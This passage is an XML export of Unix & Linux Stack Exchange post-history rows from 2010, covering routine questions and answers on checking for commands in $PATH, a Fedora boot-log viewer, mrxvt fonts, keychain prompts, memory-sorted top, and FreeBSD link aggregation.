  <row Id="10996" PostHistoryTypeId="2" PostId="4989" RevisionGUID="a9a5bf25-ed6e-4a97-bec3-8dde54fbe0ce" CreationDate="2010-12-18T23:31:31.070" UserId="3046" Text="It helps with two things:&#xD;&#xA;&#xD;&#xA; 1. safety - first get your security&#xD;&#xA;    fixes, then you are at lower risk&#xD;&#xA;    while updating the rest&#xD;&#xA; 2. security updates should be stored at&#xD;&#xA;    a high security level, as you tend&#xD;&#xA;    to rely on them to protect the rest&#xD;&#xA;    of your system, so it could be that&#xD;&#xA;    this repo has stronger security&#xD;&#xA;    controls to prevent compromise&#xD;&#xA;&#xD;&#xA;there could well be other reasons, but those are the two I would find useful" />
  <row Id="10998" PostHistoryTypeId="5" PostId="4988" RevisionGUID="2a9f8b42-fd4c-4c86-93ec-8180fa5c7607" CreationDate="2010-12-18T23:39:31.893" UserId="29" Comment="try to clarify" Text="I'm trying to write all of my `sh` startup/env scripts to work with as much *DRY* and as much: &quot;works on every *nix I clone it to&quot;, as possible. This means making sure that if I try to run code that's not there, that the code fails gracefully. To that end I need to be able to test if programs exist. I know how to test if a file exists, but I'm not sure how to test to see if an application is executable within the path. I'd rather use the $PATH, as some of these need to work on arch, ubuntu, and centos. Some might be installed in my homedir, on systems where I don't have root, others might not be installed, and others yet my be installed in system paths." />
  <row Id="10999" PostHistoryTypeId="2" PostId="4991" RevisionGUID="e6ab300a-817f-4751-b0c7-122e8472d666" CreationDate="2010-12-18T23:42:24.997" UserId="885" Text="Use [`type commandname`](http://pubs.opengroup.org/onlinepubs/7990989775/xcu/type.html). This returns true if `commandname` is anything executable: alias, function, built-in or external command (looked up in `$PATH`). Alternatively, use [`command commandname`](http://pubs.opengroup.org/onlinepubs/7990989775/xcu/command.html) which returns true if `commandname` is a built-in or external command (looked up in `$PATH`).&#xD;&#xA;&#xD;&#xA;    exists () {&#xD;&#xA;      type &quot;$1&quot; &gt;/dev/null 2&gt;/dev/null&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There are a few sh variants (definitely pre-POSIX; I know of `/bin/sh` under OSF1 ≤3.x and some versions of the Almquist shell found in early NetBSD versions and a few 20th-century Linux distributions) where `type` always returns 0 or doesn't exist. I don't think any systems shipped with these this millennium. If you ever encounter them, here's a function you can use:&#xD;&#xA;&#xD;&#xA;    exists () { (&#xD;&#xA;        IFS=:&#xD;&#xA;        for d in $PATH; do&#xD;&#xA;          if test -x &quot;$d/$1&quot;; then return 0; fi&#xD;&#xA;        done&#xD;&#xA;        return 1&#xD;&#xA;    ) }&#xD;&#xA;" />
  <row Id="11001" PostHistoryTypeId="4" PostId="4988" RevisionGUID="0037075d-6727-4f24-8665-3bc355cee800" CreationDate="2010-12-19T00:02:36.703" UserId="29" Comment="edit title better english" Text="How do I test to see if an application exists in $PATH?" />
  <row Id="11002" PostHistoryTypeId="2" PostId="4992" RevisionGUID="fa1be8fc-ccbe-4530-80d0-47ca1b616242" CreationDate="2010-12-19T01:05:43.523" UserId="327" Text="I've been using Fedora 14 for about a month on my primary system (converted from Win2K). My secondary system was converted to Fedora 12 from Win2K, and was updated sequentially to Fedora 14 (using package-update both times).&#xD;&#xA;&#xD;&#xA;Recently, my primary system started showing an alert icon in the notification area immediately after login - a yellow triangle with an &quot;!&quot; in it. When I click on the triangle, I get a window titled &quot;Boot Messages&quot; with the following content:&#xD;&#xA;&#xD;&#xA;    		Welcome to Fedora &#xD;&#xA;    Starting udev:                                             [  OK  ]&#xD;&#xA;    Setting hostname gravastar.oakenhammer.org:                [  OK  ]&#xD;&#xA;    Setting up Logical Volume Management:   3 logical volume(s) in volume group &quot;vg_gravastar&quot; now active&#xD;&#xA;                                                               [  OK  ]&#xD;&#xA;    Checking filesystems&#xD;&#xA;    _Fedora-14-i686-: clean, 161569/1638400 files, 1511990/6553600 blocks&#xD;&#xA;    /dev/sda1: clean, 47/128016 files, 81952/512000 blocks&#xD;&#xA;    /dev/mapper/vg_gravastar-lv_home: clean, 55815/1646592 files, 1597690/6578176 blocks&#xD;&#xA;                                                               [  OK  ]&#xD;&#xA;    Remounting root filesystem in read-write mode:             [  OK  ]&#xD;&#xA;    Mounting local filesystems:                                [  OK  ]&#xD;&#xA;    Enabling /etc/fstab swaps:                                 [  OK  ]&#xD;&#xA;    Entering non-interactive startup&#xD;&#xA;    Starting monitoring for VG vg_gravastar:   3 logical volume(s) in volume group &quot;vg_gravastar&quot; monitored&#xD;&#xA;                                                               [  OK  ]&#xD;&#xA;    ip6tables: Applying firewall rules:                        [  OK  ]&#xD;&#xA;    iptables: Applying firewall rules:                         [  OK  ]&#xD;&#xA;    Starting portreserve:                                      [  OK  ]&#xD;&#xA;    Starting system logger:                                    [  OK  ]&#xD;&#xA;    Enabling p4-clockmod driver (passive cooling only):        [  OK  ]&#xD;&#xA;    Starting irqbalance:                                       [  OK  ]&#xD;&#xA;    Starting mdmonitor:                                        [  OK  ]&#xD;&#xA;    Starting system message bus:                               [  OK  ]&#xD;&#xA;    Setting network parameters...                              [  OK  ]&#xD;&#xA;    Starting NetworkManager daemon:                            [  OK  ]&#xD;&#xA;    Starting Avahi daemon...                                   [  OK  ]&#xD;&#xA;    Starting cups:                                             [  OK  ]&#xD;&#xA;    Starting HAL daemon:                                       [  OK  ]&#xD;&#xA;    Retrigger failed udev events                               [  OK  ]&#xD;&#xA;    Starting sshd:                                             [  OK  ]&#xD;&#xA;    Starting ntpd:                                             [  OK  ]&#xD;&#xA;    Starting sendmail:                                         [  OK  ]&#xD;&#xA;    Starting sm-client:                                        [  OK  ]&#xD;&#xA;    Starting abrt daemon:                                      [  OK  ]&#xD;&#xA;    Starting httpd:                                            [  OK  ]&#xD;&#xA;    Starting crond:                                            [  OK  ]&#xD;&#xA;    Starting atd:                                              [  OK  ]&#xD;&#xA;    Starting jexec services&#xD;&#xA;&#xD;&#xA;This content corresponds exactly to the full content of `/var/log/boot.log`. Some poking around determined that this was the process `plymouth-log-viewer`, and that it is a graphical boot log viewer.&#xD;&#xA;&#xD;&#xA;I can understand this occurring if there's a boot problem. However, reviewing the content of the log does not seem to reveal any problems. Also, it's somewhat disconcerting that my only option once the viewer appears is to right-click the &quot;!&quot; and select &quot;`Quit`&quot;.&#xD;&#xA;&#xD;&#xA;Can anyone provide any information on why this is happening, and how to stop it? This does not happen on my secondary system at all, and I cannot identify any significant discrepancies between the two systems.&#xD;&#xA;&#xD;&#xA;The only information that appears to indicate a potential cause is the following fragments from `/var/log/messages`:&#xD;&#xA;&#xD;&#xA;Repeats several times:&#xD;&#xA;&#xD;&#xA;    Dec 18 19:18:51 gravastar NetworkManager[1069]: &lt;error&gt; [1292717931.616234] [nm-manager.c:1332] user_proxy_init(): could not init user settings proxy: (3) Could not get owner of name 'org.freedesktop.NetworkManagerUserSettings': no such name&#xD;&#xA;&#xD;&#xA;Occurs once:&#xD;&#xA;&#xD;&#xA;    Dec 18 19:18:59 gravastar gdm-simple-greeter[1564]: Gtk-WARNING: gtkwidget.c:5691: widget not within a GtkWindow&#xD;&#xA;    Dec 18 19:19:00 gravastar gdm-simple-greeter[1564]: WARNING: Unable to load CK history: no seat-id found&#xD;&#xA;    Dec 18 19:19:09 gravastar gdm-simple-greeter[1564]: WARNING: Failed to send buffer&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;Occurs once:&#xD;&#xA;&#xD;&#xA;    Dec 18 19:19:44 gravastar dbus: [system] Rejected send message, 2 matched rules; type=&quot;method_call&quot;, sender=&quot;:1.60&quot; (uid=500 pid=1815 comm=&quot;nautilus) interface=&quot;org.freedesktop.DBus.Properties&quot; member=&quot;GetAll&quot; error name=&quot;(unset)&quot; requested_reply=0 destination=&quot;:1.18&quot; (uid=0 pid=1461 comm=&quot;/usr/sbin/console-kit-daemon))&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="11003" PostHistoryTypeId="1" PostId="4992" RevisionGUID="fa1be8fc-ccbe-4530-80d0-47ca1b616242" CreationDate="2010-12-19T01:05:43.523" UserId="327" Text="Why is plymouth-log-viewer starting up?" />
  <row Id="11004" PostHistoryTypeId="3" PostId="4992" RevisionGUID="fa1be8fc-ccbe-4530-80d0-47ca1b616242" CreationDate="2010-12-19T01:05:43.523" UserId="327" Text="éfedoraàébootàélogsà" />
  <row Id="11005" PostHistoryTypeId="5" PostId="4992" RevisionGUID="25312721-6f70-4198-96b2-57b2d6776033" CreationDate="2010-12-19T01:14:47.497" UserId="327" Comment="added 153 characters in body" Text="I've been using Fedora 14 for about a month on my primary system (converted from Win2K). My secondary system was converted to Fedora 12 from Win2K, and was updated sequentially to Fedora 14 (using package-update both times).&#xD;&#xA;&#xD;&#xA;Recently, my primary system started showing an alert icon in the notification area immediately after login - a yellow triangle with an &quot;!&quot; in it. When I click on the triangle, I get a window titled &quot;Boot Messages&quot; with the following content:&#xD;&#xA;&#xD;&#xA;    		Welcome to Fedora &#xD;&#xA;    Starting udev:                                             [  OK  ]&#xD;&#xA;    Setting hostname gravastar.oakenhammer.org:                [  OK  ]&#xD;&#xA;    Setting up Logical Volume Management:   3 logical volume(s) in volume group &quot;vg_gravastar&quot; now active&#xD;&#xA;                                                               [  OK  ]&#xD;&#xA;    Checking filesystems&#xD;&#xA;    _Fedora-14-i686-: clean, 161569/1638400 files, 1511990/6553600 blocks&#xD;&#xA;    /dev/sda1: clean, 47/128016 files, 81952/512000 blocks&#xD;&#xA;    /dev/mapper/vg_gravastar-lv_home: clean, 55815/1646592 files, 1597690/6578176 blocks&#xD;&#xA;                                                               [  OK  ]&#xD;&#xA;    Remounting root filesystem in read-write mode:             [  OK  ]&#xD;&#xA;    Mounting local filesystems:                                [  OK  ]&#xD;&#xA;    Enabling /etc/fstab swaps:                                 [  OK  ]&#xD;&#xA;    Entering non-interactive startup&#xD;&#xA;    Starting monitoring for VG vg_gravastar:   3 logical volume(s) in volume group &quot;vg_gravastar&quot; monitored&#xD;&#xA;                                                               [  OK  ]&#xD;&#xA;    ip6tables: Applying firewall rules:                        [  OK  ]&#xD;&#xA;    iptables: Applying firewall rules:                         [  OK  ]&#xD;&#xA;    Starting portreserve:                                      [  OK  ]&#xD;&#xA;    Starting system logger:                                    [  OK  ]&#xD;&#xA;    Enabling p4-clockmod driver (passive cooling only):        [  OK  ]&#xD;&#xA;    Starting irqbalance:                                       [  OK  ]&#xD;&#xA;    Starting mdmonitor:                                        [  OK  ]&#xD;&#xA;    Starting system message bus:                               [  OK  ]&#xD;&#xA;    Setting network parameters...                              [  OK  ]&#xD;&#xA;    Starting NetworkManager daemon:                            [  OK  ]&#xD;&#xA;    Starting Avahi daemon...                                   [  OK  ]&#xD;&#xA;    Starting cups:                                             [  OK  ]&#xD;&#xA;    Starting HAL daemon:                                       [  OK  ]&#xD;&#xA;    Retrigger failed udev events                               [  OK  ]&#xD;&#xA;    Starting sshd:                                             [  OK  ]&#xD;&#xA;    Starting ntpd:                                             [  OK  ]&#xD;&#xA;    Starting sendmail:                                         [  OK  ]&#xD;&#xA;    Starting sm-client:                                        [  OK  ]&#xD;&#xA;    Starting abrt daemon:                                      [  OK  ]&#xD;&#xA;    Starting httpd:                                            [  OK  ]&#xD;&#xA;    Starting crond:                                            [  OK  ]&#xD;&#xA;    Starting atd:                                              [  OK  ]&#xD;&#xA;    Starting jexec services&#xD;&#xA;&#xD;&#xA;This content corresponds exactly to the full content of `/var/log/boot.log`. Some poking around determined that this was the process `plymouth-log-viewer`, and that it is a graphical boot log viewer.&#xD;&#xA;&#xD;&#xA;I can understand this occurring if there's a boot problem. However, reviewing the content of the log does not seem to reveal any problems. Also, it's somewhat disconcerting that my only option once the viewer appears is to right-click the &quot;!&quot; and select &quot;`Quit`&quot;.&#xD;&#xA;&#xD;&#xA;Can anyone provide any information on why this is happening, and how to stop it? This does not happen on my secondary system at all, and I cannot identify any significant discrepancies between the two systems.&#xD;&#xA;&#xD;&#xA;The only information that appears to indicate a potential cause is the following fragments from `/var/log/messages`:&#xD;&#xA;&#xD;&#xA;**UPDATE** The message content below also appears in the same log file on my secondary system, where `plymouth-log-viewer` is not triggered on login.&#xD;&#xA;&#xD;&#xA;Repeats several times:&#xD;&#xA;&#xD;&#xA;    Dec 18 19:18:51 gravastar NetworkManager[1069]: &lt;error&gt; [1292717931.616234] [nm-manager.c:1332] user_proxy_init(): could not init user settings proxy: (3) Could not get owner of name 'org.freedesktop.NetworkManagerUserSettings': no such name&#xD;&#xA;&#xD;&#xA;Occurs once:&#xD;&#xA;&#xD;&#xA;    Dec 18 19:18:59 gravastar gdm-simple-greeter[1564]: Gtk-WARNING: gtkwidget.c:5691: widget not within a GtkWindow&#xD;&#xA;    Dec 18 19:19:00 gravastar gdm-simple-greeter[1564]: WARNING: Unable to load CK history: no seat-id found&#xD;&#xA;    Dec 18 19:19:09 gravastar gdm-simple-greeter[1564]: WARNING: Failed to send buffer&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;Occurs once:&#xD;&#xA;&#xD;&#xA;    Dec 18 19:19:44 gravastar dbus: [system] Rejected send message, 2 matched rules; type=&quot;method_call&quot;, sender=&quot;:1.60&quot; (uid=500 pid=1815 comm=&quot;nautilus) interface=&quot;org.freedesktop.DBus.Properties&quot; member=&quot;GetAll&quot; error name=&quot;(unset)&quot; requested_reply=0 destination=&quot;:1.18&quot; (uid=0 pid=1461 comm=&quot;/usr/sbin/console-kit-daemon))&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="11006" PostHistoryTypeId="2" PostId="4993" RevisionGUID="13a1aada-de6b-47b1-a23f-617fa48789cc" CreationDate="2010-12-19T02:14:06.903" UserId="1820" Text="You will certainly need some kind of userspace to go with each of these kernels. (Programs, configuration, the works.) Traditionally, you would use at *least* one partition for each separate OS, and the GRUB partition would itself be mounted as /boot (so you would not, in fact, have boot as a subdirectory of this partition; it would be the root directory, with grub/ as a subdirectory.)" />
  <row Id="11007" PostHistoryTypeId="2" PostId="4994" RevisionGUID="a8e42729-d412-42e4-b9df-cf647c8fee4f" CreationDate="2010-12-19T02:18:16.510" UserId="3211" Text="Which file configuration option in mrxvt increases the font size, i.e., that does the equivalent of the &quot;Ctrl+Equals&quot; key binding?" />
  <row Id="11008" PostHistoryTypeId="1" PostId="4994" RevisionGUID="a8e42729-d412-42e4-b9df-cf647c8fee4f" CreationDate="2010-12-19T02:18:16.510" UserId="3211" Text="How to increase font size permanently in mrxvt?" />
  <row Id="11009" PostHistoryTypeId="3" PostId="4994" RevisionGUID="a8e42729-d412-42e4-b9df-cf647c8fee4f" CreationDate="2010-12-19T02:18:16.510" UserId="3211" Text="éterminalàéfontsà" />
  <row Id="11010" PostHistoryTypeId="5" PostId="4994" RevisionGUID="31559186-ea7f-4c42-a58c-d7e0d176904b" CreationDate="2010-12-19T03:01:56.423" UserId="73" Comment="added 36 characters in body; edited tags; edited title" Text="The &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;=&lt;/kbd&gt; hotkey increases the font size for the current session in mrxvt. What configuration option will increase the font size permanently?&#xD;&#xA;" />
  <row Id="11011" PostHistoryTypeId="4" PostId="4994" RevisionGUID="31559186-ea7f-4c42-a58c-d7e0d176904b" CreationDate="2010-12-19T03:01:56.423" UserId="73" Comment="added 36 characters in body; edited tags; edited title" Text="How do I permanently increase the font size in mrxvt?" />
  <row Id="11012" PostHistoryTypeId="6" PostId="4994" RevisionGUID="31559186-ea7f-4c42-a58c-d7e0d176904b" CreationDate="2010-12-19T03:01:56.423" UserId="73" Comment="added 36 characters in body; edited tags; edited title" Text="éterminalàéfontsàémrxvtà" />
  <row Id="11013" PostHistoryTypeId="2" PostId="4995" RevisionGUID="e2b6a8a3-f68e-47a2-974d-528aaabc3179" CreationDate="2010-12-19T03:05:12.423" UserId="2648" Text="If you are reffering to font size in terminal generally then add these lines to your **~/.Xdefaults** file:&#xD;&#xA;&#xD;&#xA;&gt; mrxvt*fontName: DejaVu Sans Mono:pixelsize=13&lt;br /&gt;&#xD;&#xA;&gt; mrxvt*faceName: DejaVu Sans Mono:pixelsize=13&lt;br /&gt;&#xD;&#xA;&gt; mrxvt*font: xft:DejaVu Sans Mono:pixelsize=13&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;Replace my font example (DejaVu Sans Mono) with desired font as well as desired size of it.&#xD;&#xA;&#xD;&#xA;Keep in mind that you can use `*` to define font in all terminals (VT ones like aterm, *rxvt, xterm etc.) with code like this:&#xD;&#xA;&gt; *fontName: DejaVu Sans Mono:pixelsize=13&lt;br /&gt;&#xD;&#xA;&gt; *faceName: DejaVu Sans Mono:pixelsize=13&lt;br /&gt;&#xD;&#xA;&gt; *font: xft:DejaVu Sans Mono:pixelsize=13&lt;br /&gt;&#xD;&#xA;Personally i use the second config but you can define different fonts in different terminals." />
  <row Id="11014" PostHistoryTypeId="2" PostId="4996" RevisionGUID="98bd9747-5144-41fd-a379-758daa8fa201" CreationDate="2010-12-19T03:09:43.183" UserId="1820" Text="The main feature of Darwin that actually matters is that OS X uses it, really." />
  <row Id="11015" PostHistoryTypeId="5" PostId="4971" RevisionGUID="5f701948-8f80-4f62-be8e-248e2e8ada43" CreationDate="2010-12-19T04:58:44.540" UserId="2180" Comment="Clarification &amp; explanation" Text="Here are two methods:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can ensure that keychain only opens on one tab like this:&#xD;&#xA;&#xD;&#xA;    if mkdir /tmp/keychain.lock; then&#xD;&#xA;      eval `keychain --eval --agents ssh id_dsa`&#xD;&#xA;      rm -r /tmp/keychain.lock&#xD;&#xA;    fi&#xD;&#xA;But it may not be on the first tab you land on - you might have to hunt for it, which could be just as annoying. This works because mkdir is an atomic operation - only one script will succeed, and that one will display the prompt.&#xD;&#xA;&#xD;&#xA;Another way will display the prompt on all the tabs, but will quit them once you respond on any one of them. You can poll a file or use inotify-tools like this:&#xD;&#xA;&#xD;&#xA;    file=/tmp/keychain-wait&#xD;&#xA;    touch $file&#xD;&#xA;    inotifywait -e delete_self $file |\&#xD;&#xA;    while read file event; do &#xD;&#xA;     if [ &quot;$event&quot; = &quot;DELETE_SELF&quot; ]; then&#xD;&#xA;       pkill keychain&#xD;&#xA;     fi&#xD;&#xA;    done &amp;&#xD;&#xA;&#xD;&#xA;    keychain&#xD;&#xA;    rm $file&#xD;&#xA;This one presents the prompt, but first it starts a watcher to see if a file is deleted. After the prompt is satisfied, the file is deleted, and the watcher will kill any other prompts that are waiting. inotifywait is from inotify-tools; inotify is a Linux API. There may be a similar API on other Unices, but if not, you only need a loop that polls to see if the file is deleted." />
  <row Id="11016" PostHistoryTypeId="2" PostId="4997" RevisionGUID="c18efbc6-0a92-43d2-a4fe-bbc00d87e826" CreationDate="2010-12-19T06:37:49.637" UserId="1820" Text="As a last resort, you could disconnect the microphone from the board..." />
  <row Id="11017" PostHistoryTypeId="2" PostId="4998" RevisionGUID="29c1730d-ce3a-4619-a5a0-4e8bef4a98db" CreationDate="2010-12-19T06:38:36.423" UserId="1952" Text="If you are only looking for external programs, you can also use which. Don't know how portable that is though." />
  <row Id="11018" PostHistoryTypeId="2" PostId="4999" RevisionGUID="4876c4b7-cb4f-409b-a8f3-663180dcf0ba" CreationDate="2010-12-19T06:41:28.127" UserId="1594" Text="I'm looking for somthing like top is to CPU usage. Is there a command line argument for top that does this? Currently, my memory is so full that even 'man top' fails with out of memory :)" />
  <row Id="11019" PostHistoryTypeId="1" PostId="4999" RevisionGUID="4876c4b7-cb4f-409b-a8f3-663180dcf0ba" CreationDate="2010-12-19T06:41:28.127" UserId="1594" Text="How to find which processes are taking all the memory?" />
  <row Id="11020" PostHistoryTypeId="3" PostId="4999" RevisionGUID="4876c4b7-cb4f-409b-a8f3-663180dcf0ba" CreationDate="2010-12-19T06:41:28.127" UserId="1594" Text="émemoryà" />
  <row Id="11021" PostHistoryTypeId="2" PostId="5000" RevisionGUID="c4167c3f-cab4-401e-885a-8d47acb52524" CreationDate="2010-12-19T06:53:24.423" UserId="73" Text="Once `top` starts, press &lt;kbd&gt;F&lt;/kbd&gt; to switch to the sort field screen. Choose one of the fields listed by pressing the key listed on the left; you probably want &lt;kbd&gt;N&lt;/kbd&gt; for `MEM%`" />
  <row Id="11022" PostHistoryTypeId="2" PostId="5001" RevisionGUID="0943417f-18fe-4808-af11-984ee461df89" CreationDate="2010-12-19T06:54:22.657" UserId="1207" Text="From inside `top` you can try the following:&#xD;&#xA;&#xD;&#xA; - Press &lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;f&lt;/kbd&gt;&#xD;&#xA; - Press the Letter corresponding to %MEM&#xD;&#xA; - Press &lt;kbd&gt;ENTER&lt;/kbd&gt; &#xD;&#xA;&#xD;&#xA;You might also try:&#xD;&#xA;&#xD;&#xA;    $ ps -eo pmem,pcpu,vsize,pid,cmd | sort -k 1 -nr | head -5&#xD;&#xA;&#xD;&#xA;This will give the top 5 processes by memory usage.&#xD;&#xA;" />
  <row Id="11023" PostHistoryTypeId="5" PostId="3258" RevisionGUID="d304cd31-f9e4-4940-8d29-90088962c451" CreationDate="2010-12-19T07:32:55.277" UserId="73" Comment="added 23 characters in body" Text="&lt;p&gt;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;a name=&quot;ontopic&quot;&gt;&lt;/a&gt;&#xA;If your question is about:&#xA;&#xA;* Using or administering a *nix desktop or server&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xA;* Shell scripting&#xA;* Applications packaged in *nix distributions *(note: being cross-platform does not disqualify)*&#xA;&#xA;then you're in the right place. If you're not sure if your question is on-topic, [ask on meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide..." />
  <row Id="11024" PostHistoryTypeId="5" PostId="4995" RevisionGUID="cc23ef06-c4e6-48cf-9ea7-16ae78abfbcb" CreationDate="2010-12-19T07:36:31.857" UserId="73" Comment="deleted 10 characters in body" Text="If you are refering to the font size in the terminal in general, add these lines to your `~/.Xdefaults` file:&#xD;&#xA;&#xD;&#xA;    mrxvt*fontName: DejaVu Sans Mono:pixelsize=13&#xD;&#xA;    mrxvt*faceName: DejaVu Sans Mono:pixelsize=13&#xD;&#xA;    mrxvt*font: xft:DejaVu Sans Mono:pixelsize=13&#xD;&#xA;&#xD;&#xA;Replace my font example (DejaVu Sans Mono) with your desired font and size.&#xD;&#xA;&#xD;&#xA;Keep in mind that you can use `*` to define the font in all terminals (VT ones like `aterm`, `*rxvt`, `xterm`, etc.) with code like this:&#xD;&#xA;&#xD;&#xA;    *fontName: DejaVu Sans Mono:pixelsize=13&#xD;&#xA;    *faceName: DejaVu Sans Mono:pixelsize=13&#xD;&#xA;    *font: xft:DejaVu Sans Mono:pixelsize=13&#xD;&#xA;&#xD;&#xA;Personally I use the second method, but you can define different fonts in different terminals if you like." />
  <row Id="11025" PostHistoryTypeId="2" PostId="5002" RevisionGUID="2f0ed614-f677-440a-b153-5a99503ae045" CreationDate="2010-12-19T07:47:18.987" UserId="2914" Text="Hi all,&#xD;&#xA;In GNOME Desktop, when we type #/usr/bin/firefox then firefox browser will open. But how can we open a command line window in the same way.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Jack" />
  <row Id="11026" PostHistoryTypeId="1" PostId="5002" RevisionGUID="2f0ed614-f677-440a-b153-5a99503ae045" CreationDate="2010-12-19T07:47:18.987" UserId="2914" Text="open a command line window in GNOME Desktop" />
  <row Id="11027" PostHistoryTypeId="3" PostId="5002" RevisionGUID="2f0ed614-f677-440a-b153-5a99503ae045" CreationDate="2010-12-19T07:47:18.987" UserId="2914" Text="érhelà" />
  <row Id="11028" PostHistoryTypeId="5" PostId="5002" RevisionGUID="e93c67aa-5df0-46cb-8ffc-37415249a65e" CreationDate="2010-12-19T07:59:39.660" UserId="73" Comment="deleted 28 characters in body; edited tags; edited title" Text="In GNOME Desktop, when I type `#/usr/bin/firefox` the Firefox browser will open. How can I open a command line window in the same way?&#xD;&#xA;" />
  <row Id="11029" PostHistoryTypeId="6" PostId="5002" RevisionGUID="e93c67aa-5df0-46cb-8ffc-37415249a65e" CreationDate="2010-12-19T07:59:39.660" UserId="73" Comment="deleted 28 characters in body; edited tags; edited title" Text="égnomeödesktopà" />
  <row Id="11030" PostHistoryTypeId="4" PostId="5002" RevisionGUID="e93c67aa-5df0-46cb-8ffc-37415249a65e" CreationDate="2010-12-19T07:59:39.660" UserId="73" Comment="deleted 28 characters in body; edited tags; edited title" Text="Open a command line window in GNOME Desktop" />
  <row Id="11031" PostHistoryTypeId="2" PostId="5003" RevisionGUID="13b24981-560b-406a-a80f-45d46b8ac004" CreationDate="2010-12-19T08:10:10.503" UserId="2421" Text="Use GNOME Terminal:&#xD;&#xA;&#xD;&#xA;`/usr/bin/gnome-terminal`" />
  <row Id="11032" PostHistoryTypeId="5" PostId="5002" RevisionGUID="1a651058-7034-484a-9c9a-b997f2688f9f" CreationDate="2010-12-19T10:06:14.270" UserId="29" Comment="removing the # because it can be construed as a comment" Text="In GNOME Desktop, when I type `/usr/bin/firefox` the Firefox browser will open. How can I open a command line window in the same way?&#xD;&#xA;" />
  <row Id="11033" PostHistoryTypeId="2" PostId="5004" RevisionGUID="0cb8db45-6680-4f73-961f-b272c05b3048" CreationDate="2010-12-19T10:17:54.717" UserId="29" Text="If you have it installed I like `htop`  once launching it you can press &lt;kbd&gt;f6&lt;/kbd&gt;, &lt;kbd&gt;down arrow&lt;/kbd&gt; (to `MEM%`), &lt;kbd&gt;enter&lt;/kbd&gt; to sort by memory." />
  <row Id="11034" PostHistoryTypeId="2" PostId="5005" RevisionGUID="74b80589-e801-403b-8e50-3449719529fe" CreationDate="2010-12-19T13:30:23.043" UserId="665" Text="I use some GNOME apps, and some KDE apps, so some of them use G-keyring and some KWallet... What I would like to have is a single place for managing passwords. &#xD;&#xA;&#xD;&#xA;Is there a way to integrate G-keyring and KWallet? Or is there maybe a way to force GNOME apps to use KWallet or KDE apps to use G-keyring? OR is there maybe a way to force them all to use KeePassX or something similar (automaticaly using it after entering the master password)...?&#xD;&#xA;&#xD;&#xA;suggestions?&lt;br /&gt;&#xD;&#xA;thanks!&#xD;&#xA;" />
  <row Id="11035" PostHistoryTypeId="1" PostId="5005" RevisionGUID="74b80589-e801-403b-8e50-3449719529fe" CreationDate="2010-12-19T13:30:23.043" UserId="665" Text="GNOME-keyring KWallet integration?" />
  <row Id="11036" PostHistoryTypeId="3" PostId="5005" RevisionGUID="74b80589-e801-403b-8e50-3449719529fe" CreationDate="2010-12-19T13:30:23.043" UserId="665" Text="ésecurityàépasswordàégnomeökeyringàékdewalletàémanagementà" />
  <row Id="11037" PostHistoryTypeId="2" PostId="5006" RevisionGUID="d4e5f454-1998-4136-be20-1b67b0021c90" CreationDate="2010-12-19T13:42:40.070" UserId="3219" Text="In Solaris the command you would need is:&#xD;&#xA;&#xD;&#xA;    prstat -a -s size&#xD;&#xA;&#xD;&#xA;This will list all processes in order of descending process image size.  Note that the latter is based on memory committed to the process by the OS, not its resident physical memory usage.&#xD;&#xA;&#xD;&#xA;There are supposedly versions of &quot;top&quot; available for Solaris, but these are not part of the standard installation." />
  <row Id="11038" PostHistoryTypeId="2" PostId="5007" RevisionGUID="515eb1f8-a4fa-4476-b853-9fbb23dad2dc" CreationDate="2010-12-19T15:15:04.687" UserId="2557" Text="One nice alternative to `top` is `htop`. Check it, it is much more user friendly than regular top." />
  <row Id="11039" PostHistoryTypeId="2" PostId="5008" RevisionGUID="7f23634b-23fb-443e-a825-16f200de7dc5" CreationDate="2010-12-19T16:11:55.510" UserId="3225" Text="I have setup a NFS server on FreeBSD 8.1, which will be serving one Linux client.  Each box has a dual-port 1gig fiber card, and each box is directly connected to the other over this link.  There is no switch involved.&#xD;&#xA;&#xD;&#xA;I suppose that my question is, since both FreeBSD and Linux support 802.3ad, is the following the right way to configure this, when not using a switch?  Or is there a better way?  Is this even supported?&#xD;&#xA;&#xD;&#xA;With this setup, I am able to ping between the hosts, transfer files over NFS, etc.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;FreeBSD  em2 &amp;lt;-&gt; eth2 Linux &#xD;&#xA;         em3 &amp;lt;-&gt; eth3&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I have configured em2 and em3 for 802.3ad (lacp):&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;lagg0: flags=8843&lt;UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST&gt; metric 0 mtu 1500&#xD;&#xA; options=9b&lt;RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM&gt;&#xD;&#xA; ether 00:04:23:c2:c2:e0&#xD;&#xA; inet 192.168.0.1 netmask 0xfffffffc broadcast 192.168.0.3&#xD;&#xA; media: Ethernet autoselect&#xD;&#xA; status: active&#xD;&#xA; laggproto lacp&#xD;&#xA; laggport: em3 flags=1c&lt;ACTIVE,COLLECTING,DISTRIBUTING&gt;&#xD;&#xA; laggport: em2 